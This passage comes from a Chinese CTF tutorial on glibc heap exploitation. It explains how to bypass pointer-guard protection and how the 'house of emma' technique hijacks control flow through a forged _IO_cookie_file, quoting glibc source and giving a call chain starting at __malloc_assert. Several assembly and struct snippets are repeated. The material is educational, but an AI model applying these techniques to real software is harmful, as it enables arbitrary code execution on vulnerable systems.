xor rax,QWORD PTR fs:0x30
mov QWORD PTR fs:[rbx],rdx
mov rdi,QWORD PTR [rbp+0x8]
call rax
因此,我们在之前所说的将func成员改成的与system相关的数据,就是对指针保护进行一个逆操作:先将system_addr与pointer_guard进行异或,再将结果循环左移0x11位后,填入prev_size域。
然而,pointer_guard的值在TLS结构中(在canary保护stack_guard的下一个),我们很难直接得到它的值,但是我们可以通过一些攻击手段,往其中写入我们可控数据,这样就可以控制pointer_guard,进而绕过指针保护了。
ror rax,0x11
xor rax,QWORD PTR fs:0x30
mov QWORD PTR fs:[rbx],rdx
mov rdi,QWORD PTR [rbp+0x8]
call rax
house of emma
ror rax,0x11
xor rax,QWORD PTR fs:0x30
mov QWORD PTR fs:[rbx],rdx
mov rdi,QWORD PTR [rbp+0x8]
call rax
static ssize_t _IO_cookie_read (FILE *fp, void *buf, ssize_t size)
{
struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
cookie_read_function_t *read_cb = cfile->__io_functions.read;
PTR_DEMANGLE (read_cb);
if (read_cb == NULL)
return -1;
return read_cb (cfile->__cookie, buf, size);
}
static ssize_t _IO_cookie_write (FILE *fp, const void *buf, ssize_t size)
{
struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
cookie_write_function_t *write_cb = cfile->__io_functions.write;
PTR_DEMANGLE (write_cb);
if (write_cb == NULL)
{
fp->_flags |= _IO_ERR_SEEN;
return 0;
}
ssize_t n = write_cb (cfile->__cookie, buf, size);
if (n < size)
fp->_flags |= _IO_ERR_SEEN;
return n;
}
static off64_t _IO_cookie_seek (FILE *fp, off64_t offset, int dir)
{
struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
cookie_seek_function_t *seek_cb = cfile->__io_functions.seek;
PTR_DEMANGLE (seek_cb);
return ((seek_cb == NULL
|| (seek_cb (cfile->__cookie, &offset, dir)
== -1)
|| offset == (off64_t) -1)
? _IO_pos_BAD : offset);
}
static int _IO_cookie_close (FILE *fp)
{
struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
cookie_close_function_t *close_cb = cfile->__io_functions.close;
PTR_DEMANGLE (close_cb);
if (close_cb == NULL)
return 0;
return close_cb (cfile->__cookie);
}
struct _IO_cookie_file
{
struct _IO_FILE_plus __fp;
void *__cookie;
cookie_io_functions_t __io_functions;
};
typedef struct _IO_cookie_io_functions_t
{
cookie_read_function_t *read; /* Read bytes. */
cookie_write_function_t *write; /* Write bytes. */
cookie_seek_function_t *seek; /* Seek/tell file position. */
cookie_close_function_t *close; /* Close file. */
} cookie_io_functions_t;
利用house of KiWi配合house of emma的调用链为__malloc_assert -> __fxprintf -> __vfxprintf -> locked_vfxprintf -> __vfprintf_internal -> _IO_new_file_xsputn ( => _IO_cookie_write),这里用的是_IO_cookie_write函数,用其他的当然也同理。
伪造的IO_FILE如下:
struct _IO_cookie_file
{
struct _IO_FILE_plus __fp;
void *__cookie;
cookie_io_functions_t __io_functions;
};
typedef struct _IO_cookie_io_functions_t
{
cookie_read_function_t *read; /* Read bytes. */
cookie_write_function_t *write; /* Write bytes. */
cookie_seek_function_t *seek; /* Seek/tell file position. */
cookie_close_function_t *close; /* Close file. */
} cookie_io_functions_t;
看雪ID:winmt
https://bbs.pediy.com/user-home-949925.htm
# 往期推荐
5.Go解析
球分享
球点赞
球在看
点击“阅读原文”,了解更多!
原文始发于微信公众号(看雪学苑):CTF 中 glibc堆利用及 IO_FILE 总结
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论